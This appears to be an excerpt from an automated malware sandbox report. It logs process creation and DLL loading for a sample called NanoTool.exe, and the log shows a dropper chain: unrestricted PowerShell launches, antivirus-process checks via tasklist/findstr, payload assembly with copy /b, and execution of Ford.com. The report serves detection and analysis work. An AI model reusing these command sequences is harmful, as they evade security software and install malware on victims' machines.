      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe""Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe "C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe"
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 254268
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "DarkPrisonIncRangeBathsPresentedBuckSurely" Photograph
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Screen + ..\Laugh + ..\Ceo + ..\Nc + ..\Anticipated + ..\Uh + ..\Negative p
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\254268\Ford.com Ford.com p
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: oleacc.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: iconcodecservice.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: windowscodecs.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: ntshrui.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: ffmpeg.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: uiautomationcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dwrite.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: kbdus.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: napinsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: pnrpnsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: wshbth.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winrnr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: windows.ui.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: windowmanagementapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: inputhost.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: twinapi.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: twinapi.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: wtsapi32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winsta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mscms.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: coloradapterclient.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mmdevapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: devobj.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: photometadatahandler.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: windowscodecs.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: mfsrcsnk.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: mfplat.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: rtworkq.dllJump to behavior
      Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dllJump to behavior
      Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
      Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: ffmpeg.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: uiautomationcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dwrite.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dxgi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: resourcepolicyclient.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mf.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mfplat.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: rtworkq.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: msmpeg2vdec.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mfperfhelper.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dxva2.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: msvproc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: ffmpeg.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: uiautomationcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dwrite.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: uxtheme.dllJump to behavior
